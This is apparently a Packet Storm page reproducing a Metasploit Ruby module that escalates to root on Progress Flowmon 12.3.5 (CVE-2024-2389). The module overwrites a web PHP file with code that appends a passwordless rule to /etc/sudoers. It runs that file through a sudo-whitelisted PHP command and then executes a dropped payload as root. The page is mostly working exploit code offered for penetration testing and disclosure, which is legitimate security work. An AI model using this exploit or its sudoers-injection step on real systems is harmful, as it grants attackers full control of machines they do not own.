what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Progress Flowmon 12.3.5 Local sudo Privilege Escalation

Progress Flowmon 12.3.5 Local sudo Privilege Escalation
Posted May 30, 2024
Authored by Dave Yesland | Site metasploit.com

This Metasploit module abuses a feature of the sudo command on Progress Flowmon. Certain binary files are allowed to automatically elevate with the sudo command. This is based off of the file name. This includes executing a PHP command with a specific file name. If the file is overwritten with PHP code it can be used to elevate privileges to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.

tags | exploit, root, php
SHA-256 | 4d7c5d9c8f90f2082d79d0b216623a4757503aa44c96d6dd6a02243cececec08

Progress Flowmon 12.3.5 Local sudo Privilege Escalation

Change Mirror Download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Progress Flowmon Local sudo privilege escalation',
'Description' => %q{
This module abuses a feature of the sudo command on Progress Flowmon.
Certain binary files are allowed to automatically elevate
with the sudo command. This is based off of the file name. This
includes executing a PHP command with a specific file name. If the
file is overwritten with PHP code it can be used to elevate privileges
to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
],
'DisclosureDate' => '2024-03-19',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => true
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
])
end

def check
score = 0
score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')
score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')
score += 1 if exists?('/var/www/shtml/translate.php')
vprint_status("Found #{score} indicators this is a Progress Flowmon product")
return CheckCode::Detected if score > 0

return CheckCode::Safe
end

def on_new_session(session)
super
print_status('Cleaning up addition to /etc/sudoers')
if session.type.to_s.eql? 'meterpreter'
session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""
elsif session.type.to_s.eql? 'shell'
session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'
end
end

def cleanup
super
unless @index_php_contents.blank?
print_status('Restoring /var/www/shtml/index.php file contents...')
file_rm('/var/www/shtml/index.php')
write_file('/var/www/shtml/index.php', @index_php_contents)
end
end

def exploit
@index_php_contents = ''
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

vprint_status("Saving payload as #{exploit_file}")
write_file(exploit_file, generate_payload_exe)
chmod(exploit_file)
register_file_for_cleanup(exploit_file)
@index_php_contents = read_file('/var/www/shtml/index.php')
print_status('Overwriting /var/www/shtml/index.php with payload')
cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')
print_status('Executing sudo to elevate privileges')
cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')
cmd_exec("sudo '#{exploit_file}'")
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close